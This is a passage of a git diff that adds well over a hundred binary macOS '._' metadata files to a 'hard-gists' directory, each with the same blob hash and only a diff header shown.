Binary files /dev/null and b/hard-gists/._7ec5bf797308279dc587 differ
diff --git a/hard-gists/._7eca8b9f0ff5b3bfb742 b/hard-gists/._7eca8b9f0ff5b3bfb742
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7eca8b9f0ff5b3bfb742 differ
diff --git a/hard-gists/._7ef2ef722e4520fba09c9f4d83ecc453 b/hard-gists/._7ef2ef722e4520fba09c9f4d83ecc453
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7ef2ef722e4520fba09c9f4d83ecc453 differ
diff --git a/hard-gists/._7f1737a750d8246d325e b/hard-gists/._7f1737a750d8246d325e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7f1737a750d8246d325e differ
diff --git a/hard-gists/._7f3ab982eb65900c5159 b/hard-gists/._7f3ab982eb65900c5159
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7f3ab982eb65900c5159 differ
diff --git a/hard-gists/._7f46e790c9e342d75dcbd9b1deb9d940 b/hard-gists/._7f46e790c9e342d75dcbd9b1deb9d940
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7f46e790c9e342d75dcbd9b1deb9d940 differ
diff --git a/hard-gists/._7f4e44a42b8e1f457f77 b/hard-gists/._7f4e44a42b8e1f457f77
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7f4e44a42b8e1f457f77 differ
diff --git a/hard-gists/._7f73238f55b7158b6852 b/hard-gists/._7f73238f55b7158b6852
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7f73238f55b7158b6852 differ
diff --git a/hard-gists/._7f79c85c8883268660bd b/hard-gists/._7f79c85c8883268660bd
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7f79c85c8883268660bd differ
diff --git a/hard-gists/._7f9422fc8372b7c4b1a2 b/hard-gists/._7f9422fc8372b7c4b1a2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7f9422fc8372b7c4b1a2 differ
diff --git a/hard-gists/._7fd265e5419efe71477ca560801d0130 b/hard-gists/._7fd265e5419efe71477ca560801d0130
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7fd265e5419efe71477ca560801d0130 differ
diff --git a/hard-gists/._7fd4c975883074a99864 b/hard-gists/._7fd4c975883074a99864
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._7fd4c975883074a99864 differ
diff --git a/hard-gists/._801265 b/hard-gists/._801265
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._801265 differ
diff --git a/hard-gists/._8020379 b/hard-gists/._8020379
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8020379 differ
diff --git a/hard-gists/._8035611 b/hard-gists/._8035611
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8035611 differ
diff --git a/hard-gists/._8036995 b/hard-gists/._8036995
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8036995 differ
diff --git a/hard-gists/._8054226 b/hard-gists/._8054226
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8054226 differ
diff --git a/hard-gists/._805439 b/hard-gists/._805439
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._805439 differ
diff --git a/hard-gists/._8067e173121625e79498 b/hard-gists/._8067e173121625e79498
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8067e173121625e79498 differ
diff --git a/hard-gists/._8069261 b/hard-gists/._8069261
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8069261 differ
diff --git a/hard-gists/._8074321 b/hard-gists/._8074321
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8074321 differ
diff --git a/hard-gists/._8086892 b/hard-gists/._8086892
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8086892 differ
diff --git a/hard-gists/._809420 b/hard-gists/._809420
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._809420 differ
diff --git a/hard-gists/._8096192 b/hard-gists/._8096192
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8096192 differ
diff --git a/hard-gists/._809693 b/hard-gists/._809693
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._809693 differ
diff --git a/hard-gists/._809867d7110acbde87af b/hard-gists/._809867d7110acbde87af
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._809867d7110acbde87af differ
diff --git a/hard-gists/._809993 b/hard-gists/._809993
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._809993 differ
diff --git a/hard-gists/._80b4b93baa5b33ed25e1823d3494f0a8 b/hard-gists/._80b4b93baa5b33ed25e1823d3494f0a8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._80b4b93baa5b33ed25e1823d3494f0a8 differ
diff --git a/hard-gists/._8112114 b/hard-gists/._8112114
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8112114 differ
diff --git a/hard-gists/._81299cd171a60a071343 b/hard-gists/._81299cd171a60a071343
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._81299cd171a60a071343 differ
diff --git a/hard-gists/._813813 b/hard-gists/._813813
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._813813 differ
diff --git a/hard-gists/._814599 b/hard-gists/._814599
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._814599 differ
diff --git a/hard-gists/._8149412 b/hard-gists/._8149412
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8149412 differ
diff --git a/hard-gists/._816134462577399ee8b2 b/hard-gists/._816134462577399ee8b2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._816134462577399ee8b2 differ
diff --git a/hard-gists/._81635e6cbc933b7e8862 b/hard-gists/._81635e6cbc933b7e8862
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._81635e6cbc933b7e8862 differ
diff --git a/hard-gists/._816927d8d8d2d7d8afb0 b/hard-gists/._816927d8d8d2d7d8afb0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._816927d8d8d2d7d8afb0 differ
diff --git a/hard-gists/._8169809 b/hard-gists/._8169809
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8169809 differ
diff --git a/hard-gists/._8171599 b/hard-gists/._8171599
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8171599 differ
diff --git a/hard-gists/._8172807 b/hard-gists/._8172807
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8172807 differ
diff --git a/hard-gists/._8179471 b/hard-gists/._8179471
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8179471 differ
diff --git a/hard-gists/._817977 b/hard-gists/._817977
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._817977 differ
diff --git a/hard-gists/._817a70706587da3bd862835c59ef584e b/hard-gists/._817a70706587da3bd862835c59ef584e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._817a70706587da3bd862835c59ef584e differ
diff --git a/hard-gists/._8183993 b/hard-gists/._8183993
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8183993 differ
diff --git a/hard-gists/._8184301 b/hard-gists/._8184301
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8184301 differ
diff --git a/hard-gists/._8185b3dcf08ec728fb22b99016dd533f b/hard-gists/._8185b3dcf08ec728fb22b99016dd533f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8185b3dcf08ec728fb22b99016dd533f differ
diff --git a/hard-gists/._8209b67ff556cb18651d b/hard-gists/._8209b67ff556cb18651d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8209b67ff556cb18651d differ
diff --git a/hard-gists/._821473a1596f1429024cb1eadb471927 b/hard-gists/._821473a1596f1429024cb1eadb471927
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._821473a1596f1429024cb1eadb471927 differ
diff --git a/hard-gists/._8219574 b/hard-gists/._8219574
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8219574 differ
diff --git a/hard-gists/._822643 b/hard-gists/._822643
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._822643 differ
diff --git a/hard-gists/._8232376 b/hard-gists/._8232376
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8232376 differ
diff --git a/hard-gists/._824628 b/hard-gists/._824628
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._824628 differ
diff --git a/hard-gists/._8248457 b/hard-gists/._8248457
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8248457 differ
diff --git a/hard-gists/._8249238 b/hard-gists/._8249238
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8249238 differ
diff --git a/hard-gists/._8249328 b/hard-gists/._8249328
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8249328 differ
diff --git a/hard-gists/._825970 b/hard-gists/._825970
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._825970 differ
diff --git a/hard-gists/._826218 b/hard-gists/._826218
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._826218 differ
diff --git a/hard-gists/._8263132 b/hard-gists/._8263132
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8263132 differ
diff --git a/hard-gists/._827988 b/hard-gists/._827988
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._827988 differ
diff --git a/hard-gists/._828099 b/hard-gists/._828099
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._828099 differ
diff --git a/hard-gists/._8285428 b/hard-gists/._8285428
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8285428 differ
diff --git a/hard-gists/._8289612 b/hard-gists/._8289612
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8289612 differ
diff --git a/hard-gists/._82d3bb091d45b59c1d7674727b1292a7 b/hard-gists/._82d3bb091d45b59c1d7674727b1292a7
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._82d3bb091d45b59c1d7674727b1292a7 differ
diff --git a/hard-gists/._82f7b21509a69a0d70e18f2e4ddf5ed9 b/hard-gists/._82f7b21509a69a0d70e18f2e4ddf5ed9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._82f7b21509a69a0d70e18f2e4ddf5ed9 differ
diff --git a/hard-gists/._831611 b/hard-gists/._831611
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._831611 differ
diff --git a/hard-gists/._8321212 b/hard-gists/._8321212
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8321212 differ
diff --git a/hard-gists/._833151 b/hard-gists/._833151
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._833151 differ
diff --git a/hard-gists/._8336771 b/hard-gists/._8336771
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8336771 differ
diff --git a/hard-gists/._835062 b/hard-gists/._835062
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._835062 differ
diff --git a/hard-gists/._835821d98f325225e81352ea828cf521 b/hard-gists/._835821d98f325225e81352ea828cf521
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._835821d98f325225e81352ea828cf521 differ
diff --git a/hard-gists/._835979 b/hard-gists/._835979
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._835979 differ
diff --git a/hard-gists/._835cda68ddd9c5416defce876a4d7dd9 b/hard-gists/._835cda68ddd9c5416defce876a4d7dd9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._835cda68ddd9c5416defce876a4d7dd9 differ
diff --git a/hard-gists/._8364262 b/hard-gists/._8364262
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8364262 differ
diff --git a/hard-gists/._8372494 b/hard-gists/._8372494
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8372494 differ
diff --git a/hard-gists/._837538 b/hard-gists/._837538
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._837538 differ
diff --git a/hard-gists/._8378209d6cf5f073087b3c2b9814acec b/hard-gists/._8378209d6cf5f073087b3c2b9814acec
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8378209d6cf5f073087b3c2b9814acec differ
diff --git a/hard-gists/._8383050 b/hard-gists/._8383050
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8383050 differ
diff --git a/hard-gists/._839f6a3534002a6a29d819666a28bf5e b/hard-gists/._839f6a3534002a6a29d819666a28bf5e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._839f6a3534002a6a29d819666a28bf5e differ
diff --git a/hard-gists/._83a39d9328788372677a b/hard-gists/._83a39d9328788372677a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._83a39d9328788372677a differ
diff --git a/hard-gists/._83b56c3e76c28f88e9ea b/hard-gists/._83b56c3e76c28f88e9ea
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._83b56c3e76c28f88e9ea differ
diff --git a/hard-gists/._83e4136803ca67b4955a b/hard-gists/._83e4136803ca67b4955a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._83e4136803ca67b4955a differ
diff --git a/hard-gists/._83f3cd8f44208a1856ce b/hard-gists/._83f3cd8f44208a1856ce
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._83f3cd8f44208a1856ce differ
diff --git a/hard-gists/._83ff717d87c2559cc6e3 b/hard-gists/._83ff717d87c2559cc6e3
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._83ff717d87c2559cc6e3 differ
diff --git a/hard-gists/._8403108 b/hard-gists/._8403108
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8403108 differ
diff --git a/hard-gists/._8406352 b/hard-gists/._8406352
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8406352 differ
diff --git a/hard-gists/._841006 b/hard-gists/._841006
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._841006 differ
diff --git a/hard-gists/._8412843 b/hard-gists/._8412843
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8412843 differ
diff --git a/hard-gists/._8414494 b/hard-gists/._8414494
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8414494 differ
diff --git a/hard-gists/._8420193 b/hard-gists/._8420193
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8420193 differ
diff --git a/hard-gists/._8427853 b/hard-gists/._8427853
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8427853 differ
diff --git a/hard-gists/._8428798 b/hard-gists/._8428798
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8428798 differ
diff --git a/hard-gists/._844388 b/hard-gists/._844388
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._844388 differ
diff --git a/hard-gists/._8444323 b/hard-gists/._8444323
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8444323 differ
diff --git a/hard-gists/._8447221 b/hard-gists/._8447221
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8447221 differ
diff --git a/hard-gists/._844aab52fcff6b1c652a b/hard-gists/._844aab52fcff6b1c652a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._844aab52fcff6b1c652a differ
diff --git a/hard-gists/._8450931 b/hard-gists/._8450931
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8450931 differ
diff --git a/hard-gists/._8458501 b/hard-gists/._8458501
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8458501 differ
diff --git a/hard-gists/._8460004 b/hard-gists/._8460004
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8460004 differ
diff --git a/hard-gists/._8464000 b/hard-gists/._8464000
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8464000 differ
diff --git a/hard-gists/._846545 b/hard-gists/._846545
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._846545 differ
diff --git a/hard-gists/._8470123 b/hard-gists/._8470123
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8470123 differ
diff --git a/hard-gists/._8477219 b/hard-gists/._8477219
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8477219 differ
diff --git a/hard-gists/._8481824 b/hard-gists/._8481824
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8481824 differ
diff --git a/hard-gists/._848913 b/hard-gists/._848913
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._848913 differ
diff --git a/hard-gists/._8497c831c0a37ec4060b b/hard-gists/._8497c831c0a37ec4060b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8497c831c0a37ec4060b differ
diff --git a/hard-gists/._850437 b/hard-gists/._850437
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._850437 differ
diff --git a/hard-gists/._85098ded28a6e472fa7d4c5b0afd5d3e b/hard-gists/._85098ded28a6e472fa7d4c5b0afd5d3e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._85098ded28a6e472fa7d4c5b0afd5d3e differ
diff --git a/hard-gists/._850ab7372d51005fdfd7 b/hard-gists/._850ab7372d51005fdfd7
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._850ab7372d51005fdfd7 differ
diff --git a/hard-gists/._8513270 b/hard-gists/._8513270
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8513270 differ
diff --git a/hard-gists/._8543933 b/hard-gists/._8543933
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8543933 differ
diff --git a/hard-gists/._8555125 b/hard-gists/._8555125
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8555125 differ
diff --git a/hard-gists/._8555297 b/hard-gists/._8555297
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8555297 differ
diff --git a/hard-gists/._855680 b/hard-gists/._855680
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._855680 differ
diff --git a/hard-gists/._8577232 b/hard-gists/._8577232
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8577232 differ
diff --git a/hard-gists/._8585400 b/hard-gists/._8585400
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8585400 differ
diff --git a/hard-gists/._8588668 b/hard-gists/._8588668
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8588668 differ
diff --git a/hard-gists/._859473 b/hard-gists/._859473
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._859473 differ
diff --git a/hard-gists/._85a3eab09fefbb3bee5d b/hard-gists/._85a3eab09fefbb3bee5d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._85a3eab09fefbb3bee5d differ
diff --git a/hard-gists/._85ab1cfc3f733165e4b9 b/hard-gists/._85ab1cfc3f733165e4b9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._85ab1cfc3f733165e4b9 differ
diff --git a/hard-gists/._85c2ea78ba8de11cdaa14c75e740d633 b/hard-gists/._85c2ea78ba8de11cdaa14c75e740d633
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._85c2ea78ba8de11cdaa14c75e740d633 differ
diff --git a/hard-gists/._8601bfad4ad512ff9d6d46d1ba0fbcca b/hard-gists/._8601bfad4ad512ff9d6d46d1ba0fbcca
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8601bfad4ad512ff9d6d46d1ba0fbcca differ
diff --git a/hard-gists/._8616550 b/hard-gists/._8616550
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8616550 differ
diff --git a/hard-gists/._8617378 b/hard-gists/._8617378
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8617378 differ
diff --git a/hard-gists/._8621775 b/hard-gists/._8621775
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8621775 differ
diff --git a/hard-gists/._8638475 b/hard-gists/._8638475
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8638475 differ
diff --git a/hard-gists/._8659759 b/hard-gists/._8659759
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8659759 differ
diff --git a/hard-gists/._8662660 b/hard-gists/._8662660
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8662660 differ
diff --git a/hard-gists/._8663d3bbfd586bffecf6a0094cd116f2 b/hard-gists/._8663d3bbfd586bffecf6a0094cd116f2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8663d3bbfd586bffecf6a0094cd116f2 differ
diff --git a/hard-gists/._8664457 b/hard-gists/._8664457
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8664457 differ
diff --git a/hard-gists/._8668000 b/hard-gists/._8668000
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8668000 differ
diff --git a/hard-gists/._867589 b/hard-gists/._867589
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._867589 differ
diff --git a/hard-gists/._867684 b/hard-gists/._867684
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._867684 differ
diff --git a/hard-gists/._8678538 b/hard-gists/._8678538
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8678538 differ
diff --git a/hard-gists/._8683457 b/hard-gists/._8683457
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8683457 differ
diff --git a/hard-gists/._8684968ebacb5522c86a b/hard-gists/._8684968ebacb5522c86a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8684968ebacb5522c86a differ
diff --git a/hard-gists/._868b1057d9c0b72a57b809a67ad6e4cc b/hard-gists/._868b1057d9c0b72a57b809a67ad6e4cc
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._868b1057d9c0b72a57b809a67ad6e4cc differ
diff --git a/hard-gists/._8691435 b/hard-gists/._8691435
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8691435 differ
diff --git a/hard-gists/._86b60a7723b97da19f7bfa3cb7d2690e b/hard-gists/._86b60a7723b97da19f7bfa3cb7d2690e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._86b60a7723b97da19f7bfa3cb7d2690e differ
diff --git a/hard-gists/._86b74ae47719a27bbb25 b/hard-gists/._86b74ae47719a27bbb25
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._86b74ae47719a27bbb25 differ
diff --git a/hard-gists/._8715089 b/hard-gists/._8715089
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8715089 differ
diff --git a/hard-gists/._871567 b/hard-gists/._871567
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._871567 differ
diff --git a/hard-gists/._872145 b/hard-gists/._872145
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._872145 differ
diff --git a/hard-gists/._8722026 b/hard-gists/._8722026
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8722026 differ
diff --git a/hard-gists/._8736338 b/hard-gists/._8736338
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8736338 differ
diff --git a/hard-gists/._874808 b/hard-gists/._874808
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._874808 differ
diff --git a/hard-gists/._8752582 b/hard-gists/._8752582
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8752582 differ
diff --git a/hard-gists/._876324 b/hard-gists/._876324
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._876324 differ
diff --git a/hard-gists/._876425 b/hard-gists/._876425
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._876425 differ
diff --git a/hard-gists/._8792346 b/hard-gists/._8792346
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8792346 differ
diff --git a/hard-gists/._87e9a3e0539ce268222d1d597864c098 b/hard-gists/._87e9a3e0539ce268222d1d597864c098
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._87e9a3e0539ce268222d1d597864c098 differ
diff --git a/hard-gists/._8803860 b/hard-gists/._8803860
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8803860 differ
diff --git a/hard-gists/._8807124 b/hard-gists/._8807124
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8807124 differ
diff --git a/hard-gists/._880901 b/hard-gists/._880901
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._880901 differ
diff --git a/hard-gists/._8814190 b/hard-gists/._8814190
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8814190 differ
diff --git a/hard-gists/._8818209 b/hard-gists/._8818209
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8818209 differ
diff --git a/hard-gists/._881cd3e0f8836121226a04efb9e2ae18 b/hard-gists/._881cd3e0f8836121226a04efb9e2ae18
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._881cd3e0f8836121226a04efb9e2ae18 differ
diff --git a/hard-gists/._8831412 b/hard-gists/._8831412
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8831412 differ
diff --git a/hard-gists/._8832970 b/hard-gists/._8832970
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8832970 differ
diff --git a/hard-gists/._8838751 b/hard-gists/._8838751
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8838751 differ
diff --git a/hard-gists/._883b3b4a51b0db7d0e0d b/hard-gists/._883b3b4a51b0db7d0e0d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._883b3b4a51b0db7d0e0d differ
diff --git a/hard-gists/._8846206 b/hard-gists/._8846206
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8846206 differ
diff --git a/hard-gists/._8851078 b/hard-gists/._8851078
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8851078 differ
diff --git a/hard-gists/._885932 b/hard-gists/._885932
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._885932 differ
diff --git a/hard-gists/._8866ff9fd30930c85779c821f277cf58 b/hard-gists/._8866ff9fd30930c85779c821f277cf58
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8866ff9fd30930c85779c821f277cf58 differ
diff --git a/hard-gists/._8877450 b/hard-gists/._8877450
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8877450 differ
diff --git a/hard-gists/._8883307 b/hard-gists/._8883307
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8883307 differ
diff --git a/hard-gists/._889692 b/hard-gists/._889692
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._889692 differ
diff --git a/hard-gists/._88d0ebab5ace81201f04 b/hard-gists/._88d0ebab5ace81201f04
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._88d0ebab5ace81201f04 differ
diff --git a/hard-gists/._890640 b/hard-gists/._890640
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._890640 differ
diff --git a/hard-gists/._8907544 b/hard-gists/._8907544
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8907544 differ
diff --git a/hard-gists/._891080 b/hard-gists/._891080
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._891080 differ
diff --git a/hard-gists/._8916745 b/hard-gists/._8916745
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8916745 differ
diff --git a/hard-gists/._8917867 b/hard-gists/._8917867
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8917867 differ
diff --git a/hard-gists/._893580 b/hard-gists/._893580
new file mode 100644
index 00000000..cd8af967
